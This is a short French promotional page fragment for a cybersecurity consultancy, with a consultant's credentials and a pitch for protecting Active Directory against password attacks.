Consultant senior, certifié OSCP, CISSP et ISO 27001 Lead Auditor. Plus de 15 ans d'expérience en pentest, audit et solutions IA.

Besoin d'une expertise en cybersécurité ?

Protégez votre infrastructure Active Directory contre les attaques par mot de passe

Nos Services